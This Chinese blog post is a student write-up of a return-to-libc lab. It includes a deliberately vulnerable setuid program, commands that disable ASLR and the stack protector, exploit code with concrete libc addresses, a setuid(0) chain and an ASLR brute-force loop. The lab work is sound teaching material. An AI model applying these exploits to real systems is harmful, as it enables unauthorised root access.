软件安全实验——lab9(缓冲区溢出:return-to-libc绕过非可执行堆栈)

1、实验室概况

  本实验室的学习目标是让学生获得关于一种有趣的缓冲区溢出攻击变体的第一手经验;这种攻击可以绕过目前在主要Linux操作系统中实现的现有保护方案。利用缓冲区溢出漏洞的一种常见方法是使用恶意外壳代码溢出缓冲区,然后导致易受攻击的程序跳转到存储在堆栈中的外壳代码。为了防止这些类型的攻击,一些操作系统允许系统管理员将堆栈设置为不可执行的;因此,跳到shellcode将导致程序失败。
  不幸的是,上述保护方案并非万无一失;存在一种称为return-to-libc攻击的缓冲区溢出攻击变体,这种攻击不需要可执行堆栈;它甚至不使用shell代码。相反,它会导致易受攻击的程序跳转到一些现有代码,比如 libc库中的system()函数,该函数已经加载到内存中。
  在这个实验中,给学生一个有缓冲区溢出漏洞的程序;他们的任务是开发一个返回到 libc攻击来利用漏洞并最终获得根特权。除了这些攻击之外,学生们还将被引导学习几个已经在 Ubuntu中实现的保护方案,以对抗缓冲区溢出攻击。学生需要评估这些方案是否有效,并解释原因。

2、实验室任务

2.1初始设置

  可以使用我们预先构建的 Ubuntu虚拟机来执行实验室任务。Ubuntu和其他Linux 发行版已经实现了一些安全机制,使缓冲区溢出攻击变得困难。简单地说,我们得先让他们瘫痪。
  地址空间随机化。Ubuntu和其他几个基于linux的系统使用地址空间随机化来随机化堆和堆栈的起始地址。这使得猜测准确地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之一。在这个实验中,我们使用以下命令禁用这些特性:

$ su root
Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0

  StackGuard保护计划。GCC编译器实现了一种名为“堆栈保护”的安全机制,以防止缓冲区溢出。在此保护存在时,缓冲区溢出将不起作用。如果你使用-fno-stack-保护开关编译程序,你可以禁用这个保护。例如,要编译一个禁用堆栈保护的程序examp le.c,你可以使用以下命令:

$ gcc -fno-stack-protector example.c

  不可执行堆栈。Ubunu过去允许可执行堆栈,但现在已经改变了:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,也就是说,必须声明它们是否需要可执行堆栈。,它们需要在程序头中标记一个字段。内核或动态连接器使用此标记来决定是否使运行中的程序的堆栈为可执行的或不可执行的。这个标记是由gcc的最新版本自动完成的,默认情况下,堆栈被设置为不可执行的。要改变这种情况,请在编译程序时使用以下选项:

可执行维栈:

$ gcc -z execstack -o test test.c

不可执行的维栈:

$ gcc -z noexecstack -o test test.c

  因为这个实验的目的是要证明非可执行堆栈保护不起作用,所以在这个实验中,你应该总是使用"-znoexecstack"选项来编译你的程序。
  指导教师注意:对于这个实验,最好有一个实验环节,特别是如果学生不熟悉工具和环境。如果一个讲师计划举办一个实验课程(由他/她自己或由助教),建议在实验课程1中包括以下内容:
1.虚拟机软件的使用。
2.基本使用gdb 调试命令和堆栈结构。
3.配置实验室环境。

2.2脆弱程序

/* retlib.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

  编译上述易受攻击的程序并设置它的set-root-uid。你可以通过在根帐户中编译它,并将可执行文件修改为4755来实现:

$ su root
Password (enter root password)
# gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit

  上面的程序有一个缓冲区溢出漏洞。它首先从名为“badfile”的文件中读取大小为40字节的输入到大小为12的缓冲区中,从而导致溢出。函数fread()不检查边界,因此会发生缓冲区溢出。由于该程序是一个set-root-uid程序,如果普通用户可以利用这个缓冲区溢出漏洞,则普通用户可能能够获得根shelI。需要注意的是,该程序的输入来自一个名为“badfile”的文件。该文件由用户控制。现在,我们的目标是为“badfile”创建内容,以便当易受攻击的程序将内容复制到其缓冲区时,可以生成根shell。

2.3任务1:利用漏洞

创建badfile。您可以使用下面的框架创建一个。

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = some address ; // "/bin/sh"
*(long *) &buf[Y] = some address ; // system()
*(long *) &buf[Z] = some address ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

/你需要决定地址和X,Y,Z的值。以下三个语句的顺序并不意味着X,Y,Z的顺序。实际上,我们故意打乱了顺序。/
  您需要找出这些地址的值,以及找出存储这些地址的位置。如果你错误地计算了位置,你的攻击可能不会起作用。
  完成上述程序后,编译并运行;这将生成"badile的内容。运行易受攻击的程序retib。如果您的利用实现正确,当函数bof返回时,它将返回到system() libc函数,并执行系统("/bin/sh")。 如果脆弱的程序使用根权限运行,此时就可以获得根shell。
  需要注意的是,对于这种攻击,exit()函数不是很必要;但是,如果没有这个函数,当system()返回时, 程序可能会崩溃,从而引起怀疑。(尝试了不加exit函数,结果发生段错误)

$ gcc -o exploit exploit.c
// create the badfile
$./exploit 
// launch the attack by running the vulnerable program
$./retlib 
# <---- You’ve got a root shell!

问题。请在报告中回答以下问题:
·请描述你是如何确定X, Y和Z的值的。要么告诉我们你的推理,要么如果你使用反复试验的方法,展示你的尝试。
·攻击成功后,将retlib的文件名更改为不同的文件名,并确保文件名的长度不同。例如,可以将其更改为newretlib。重复攻击(不改变badfile 的内容)。你的攻击成功了吗?如果没有成功,请解释原因。

(1) 编译程序

关闭地址随机化,让猜测准确地址变得简单:

sudo sysctl -w kernel.randomize_va_space=0

关闭栈保护,否则缓冲区溢出将不起作用;显示不可执行堆栈保护无法工作

sudo gcc -fno-stack-protector -z noexecstack  -o retlib retlib.c
sudo chown root:root retlib
sudo chmod 4755 retlib

在这里插入图片描述

(2)找到“\bin\sh”的地址

把system的放置在环境变量SHELL中,然后获取\bin\sh的地址
export SHELL=“bin/sh”
在这里插入图片描述

然后利用 pdf 中给出的代码可以得到相应环境变量的地址,
其中getenv.c:

void main()
{
 char* shell = getenv("SHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}

  getenv()函数内写环境变量的名称,要注意的是 gcc 编译之后的运行程序的文件名和含有漏洞的文件的文件名长度最好相同,否则环境变量的地址会发生一定的偏移
在这里插入图片描述

(3)查找libc函数的地址:

用GDB获取system和exit的地址(先要在gdb下开始测试执行r,才会指导系统函数system的地址)
在这里插入图片描述

所以system的地址是0xb7e5f430,exit的地址是0xb7e52fb0

(4)确定输入和bof函数的返回地址的距离

最开始在badfile中写如AAAA,确定缓冲区开始的位置buf,
在这里插入图片描述

调用完bof函数之后返回的位置是0x080484e2:
在这里插入图片描述

断点设在bof函数的返回之前的位置都行(因为这时fread(buffer, sizeof(char), 40, badfile);写入已结束,可以看到缓冲区的情况):
在这里插入图片描述

可以看到AAAA对应ASCII码4141411和bof函数返回到main函数的地址0x080484e2之前的距离是24个字节。

(5)攻击代码

得到了X,Y,Z的值,且得到了返回地址的位置是在24字节,所以攻击代码exploit.c如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and 
     the values for X, Y, Z. The order of the following 
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */

  *(long *) &buf[32] =  0xbffff517;   //  "/bin/sh"
  *(long *) &buf[24] =  0xb7e5f430;   //  system()
  *(long *) &buf[28] =  0xb7e52fb0;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}

(6)攻击

运行exploit按顺序先用exploit生成新的 badfile 之后,再运行 retlib
在这里插入图片描述

攻击成功。
在这里插入图片描述

写入之后再gdb,发现写入的system()、exit()"、/bin/sh"的位置。

问题2:gcc 编译之后的运行程序的文件名和含有漏洞的文件的文件名长度最好相同,否则环境变量的地址会发生一定的偏移,偏移量取决于文件名相差几个字节。

Task 1附加任务

  在/bin/sh指向bash的情况下,我们如果能在调用/bin/bash之前提升正在运行的进程的Set-UID至root权限,那么我们就可以绕过对bash的权限限制,幸运的是系统函数setuid(0)可以实现我们的目标,所以我们可以在调用系统函数system(“/bin/sh”)之前,先调用系统函数setuid(0)来提升权限。
我们攻击代码应该这样修改:
  在bof的返回地址处(&buf[36])写入setuid()的地址,setuid的参数0写在与其入口地址相隔一个字的位置(即buf[44])处(因为setuid()执行完毕之后,会转向存放setuid入口地址的下一个位置,所以这个位置应该放入system函数的入口地址),同理system的参数放入&buf[48]处。
为了增加难度,我们这次写入三个命令

System(/usr/bin/id”);
Setuid(0);
System(/bin/sh/);

(1)pop %esp

  我们如果想要将三个命令连接起来,还需要一个命令 pop %esp(%ebp %ebx……)或者 add0xXX %esp 这种能将 esp 弹出 4 的倍数个字节的命令,命令后面需要有 ret 命令返回才能用。我利用 objdump -d retlib 查看程序,找到了如图的 pop %ebp ret 这样只需要上弹 4 个字节就行,不用再输入多余的任意字符,最大限度的使字符串尽量短。
在这里插入图片描述

(2)按照下图构造地址序列:

在这里插入图片描述

栈的存储顺序就是从高到低,与上图中的从小到大相反

(3)/bin/sh和/usr/bin/的地址

把/bin/sh和/usr/bin/放到环境变量中去,用getenv函数得到它们的地址
在这里插入图片描述

(4)system函数和setuid函数的地址

得到system函数和setuid函数的地址(先要在gdb下开始测试执行r,才会指导系统函数system、setuid的地址)
在这里插入图片描述

(5)确定输入和bof函数的返回地址的距离

最开始在badfile中写如AAAA
在这里插入图片描述
确定返回地址开始的位置buf[24]:
在这里插入图片描述

(6)修改buf数组大小

按照上图中的地址,那么题中一开始给的 buf[40]不够用,要将 40 改大一点。
在这里插入图片描述

  还有fread 函数之后的 buf %esp,发现本来的返回地址覆盖掉了,但是不管怎么样只能写 40 个字节,也就是说 buf[40] 之后的字节都写不进去,然后发现漏洞文件中的 fread 函数中限制了从 badfile 中读入的字节数量,原本是 40 和 task1相同,附加任务中我们还需要将 fread 函数中的 40 改大一点才能成功。

(7)在Bof函数返回的地址设断点

查看缓冲区中的情况。
在这里插入图片描述

(8)攻击

exploit2.c中的攻击代码修改为如下所示:
在这里插入图片描述

运行exploit2按顺序先用exploit2生成新的 badfile 之后,再运行 retlib2
在这里插入图片描述

如果没有像task1中一样加exit函数,退出的时候发生段错误
在这里插入图片描述

加上exit函数,正常退出
在这里插入图片描述

题外话:
  将system(“/bin/sh”)注释掉再重新运行,它只是在上一步setuid(0)将euid和组id设为了0(root),但是没了system(“/bin/sh”)产生子程序,没有获得root权限。
在这里插入图片描述

2.4任务2:地址随机化

  在这个任务中,让我们打开 Ubuntu的地址随机保护。我们运行Task 1中开发的相同攻击。你能拿一个shell吗?如果没有,是什么问题?地址随机化如何使你的return-to-libc攻击困难?你应该在你的实验报告中描述你的观察和解释。您可以使用以下说明来打开地址随机化:

$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

打开地址随机化:
在这里插入图片描述

  Ubuntu的地址随机化机制使得我们获取漏洞函数的返回地址和存放Shellcode地址困难许多,并且Ubuntu系统的缓冲区溢出保护机制(即-fno-stack-protector)对缓冲区的溢出进行保护,也使得这种攻击方法变得更加困难。
打开地址随机化之后,函数的地址并没有发送变化:
在这里插入图片描述

但是环境变量存放"bin/sh"的地址一直在变化:
在这里插入图片描述

而且在不同的终端上变化的值不一样:
在这里插入图片描述

我们把"/bin/sh"的地址设为0xbfc0d5e5,这样"/bin/sh"的地址第2-5位随机变化的时候,我们就有千分之一的概率成功:
在这里插入图片描述

直接运行一个shell脚本死循环,等它成功的时候就会跳转到shell自然会停止:
sh -c “while [ 1 ]; do ./retlib;./retlib; done;”
在这里插入图片描述

但实际上每个程序运行是的环境变量的地址都不一样,持续攻击了一天,依旧无法获得root权限。
2.5任务3:堆栈保护

  在这个任务中,让我们打开Ubuntu的堆栈保护。请记得关闭地址随机化保护。我们运行Task 1中开发的相同攻击。你能拿一个shell吗?如果没有,是什么问题?堆栈保护的保护是如何让你的 return-to-libc攻击变得困难的?你应该在你的实验报告中描述你的观察和解释。您可以使用以下说明来编译您的程序与堆栈保护打开。

$ su root
Password (enter root password)
# gcc -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit

在这里插入图片描述

无法再攻击成功,return-to-libc攻击只能绕过堆栈不可执行,无法绕过栈溢出保护,我们利用缓冲区漏洞的做法会被检测到,从而终止了我们的程序。

3、指导原则:了解函数调用机制

3.1查找libc函数的地址

要找出任何libc函数的地址,可以使用以下gdb 命令(a.out是一个任意程序):

$ gdb a.out 
(gdb) b main 
(gdb) r 
(gdb) p system 
$1 = {<text variable, no debug info>} 0x9b4550 <system> 
(gdb) p exit 
$2 = {<text variable, no debug info>} 0x9a9b70 <exit> 

从上面的 gdb命令中,我们可以发现 system()函数的地址是Ox9b4550, exit()函数的地址是ox9a9b70。系统中的实际地址可能与这些数字不同。

3.2将shell字符串放入内存中

  这个实验室的挑战之一是将字符串“/bin/sh”放入内存,并获取它的地址。这可以通过使用环境变量来实现。当一个C程序被执行时,它从执行它的 shell继承所有的环境变量。环境变量SHELL直接指向/bin/bash,其他程序也需要它,因此我们引入了一个新的SHELL变量MYSHELL,并让它指向zsh

$ export MYSHELL=/bin/sh

我们将使用这个变量的地址作为system()调用的参数。这个变量在内存中的位置可以很容易地通过下面的程序找到;

void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}

  如果地址随机化被关闭,您将发现打印出相同的地址。然而,当您运行易受攻击的程序retlib时,环境变量的地址可能与您通过运行上述程序获得的地址不完全相同;这样的地址甚至可以在您更改程序名称时更改(文件名中的字符数量会造成差异)。好消息是,shell的地址将非常接近您使用上述程序输出的内容。因此,您可能需要尝试几次才能成功。

3.3了解栈

要了解如何执行return-to-libc攻击,必须了解堆栈如何工作。我们使用一个小的C程序来理解函数调用对堆栈的影响。

/* foobar.c */
#include<stdio.h>
void foo(int x)
{
printf("Hello world: %d\n", x);
}
int main()
{
foo(1);
return 0;
}

我们可以使用"gcc -s foobar.c"将该程序编译为汇编代码。结果文件 foobar.s看起来像这样:

......
8 foo:
9 pushl %ebp
10 movl %esp, %ebp
11 subl $8, %esp
12 movl 8(%ebp), %eax
13 movl %eax, 4(%esp)
14 movl $.LC0, (%esp) : string "Hello world: %d\n"
15 call printf
16 leave
17 ret
......
21 main:
22 leal 4(%esp), %ecx
23 andl $-16, %esp
24 pushl -4(%ecx)
25 pushl %ebp
26 movl %esp, %ebp

27 pushl %ecx
28 subl $4, %esp
29 movl $1, (%esp)
30 call foo
31 movl $0, %eax
32 addl $4, %esp
33 popl %ecx
34 popl %ebp
35 leal -4(%ecx), %esp
36 ret

3.4调用和输入foo()

  让我们在调用foo()时集中讨论堆栈。我们可以忽略之前的堆栈。请注意,在这个解释中使用的是行号而不是指令地址。
·第28-29行:这两个语句将值1,即 foo()的参数,推入堆栈。该操作将%esp 加4。图1(a)描述了这两条语句之后的堆栈。
·第30行:调用foo:该语句将紧跟在调用语句之后的下一条指令的地址压入堆栈(返回地址),然后跳转到foo()的代码。当前堆栈如图1(b)所示。
·第9-10行:函数foo()的第一行将%ebp 压入堆栈,以保存之前的帧指针。第二行让%ebp指向当前帧。图1 ©中描述了当前堆栈。
·第11行:subl $8, %esp:堆栈指针被修改为为局部变量和传递给_printf 的两个参数分配空间(8字节)。因为函数foo中没有局部变量,所以这8个字节仅用于参数。见图1(d)。

3.5离开foo()

现在控件已经传递给函数foo()。让我们看看当函数返回时堆栈发生了什么。
第16行:leave:这条指令隐式执行两条指令(它在早期的x86版本中是一个宏,但后来被变成了一条指令);
mov %ebp, %esp
pop %ebp
第一个语句释放为函数分配的堆栈空间;第二个语句恢复上一个帧指针。当前堆栈如图1(e)所示。
第17行:ret这条指令只是从堆栈中弹出返回地址,然后跳转到返回地址。当前堆栈如图1(f)所示。
第32行:addl $4,%esp:进一步恢复堆栈,释放更多的内存分配给foo。正如你可以清楚地看到的,堆栈现在处于完全相同的状态,它是在进入函数foo(即在第28行之前)。

参考文献

[1] 使用return-to-libc绕过非可执行堆栈http://www.infosecwriters.com/text resources/pdf/return-to-libc.pdf
[2] Phrack by Nergal Advanced return-to-libc exploit(s) Phrack 49, Volume 0xb, Issue 0x3a. Available at
http://www.phrack.org/archives/58/p58-0x04

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
return-to-libc攻击是一种典型的缓冲区溢出攻击方式,它绕过了内存的数据执行保护机制。在执行return-to-libc攻击时,攻击者通过精心构造的恶意输入,将栈溢出造成的缓冲区溢出利用到无法执行任意代码的情况下。 返回到C库(return-to-libc)是一种利用栈溢出漏洞的攻击技术。正常情况下,当程序发生栈溢出时,攻击者可以将恶意代码注入到程序的内存中并执行。然而,现代操作系统和编译器通常会实施一些保护措施,如地址空间布局随机化(ASLR)和栈不可执行(NX)等,以防止这种攻击。 return-to-libc攻击的基本思想是利用目标程序中的已知函数,如C库函数,来达到执行恶意代码的目的。通过了解函数名称和地址,攻击者可以通过篡改程序的返回地址来使程序跳转到所需的函数。而且,由于这些函数已经在内存中,不在栈上执行,因此可以绕过堆栈溢出和执行保护。 在return-to-libc攻击中,攻击者通过构造恶意输入,覆盖目标程序的返回地址,并将其设置为C库函数的地址,如system()或execve()。这样一来,当程序返回时,不会执行恶意代码,而是跳转到C库函数,攻击者可以使用这些函数来执行所需的操作,如系统命令执行。 然而,现代操作系统通常会实施一些防御措施来阻止return-to-libc攻击,如堆栈保护(stack protector)和地址空间布局随机化(ASLR)。这些措施增加了攻击难度,使得攻击者更难以成功利用return-to-libc攻击。因此,及时更新补丁和使用安全编程实践是防止此类攻击的关键。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值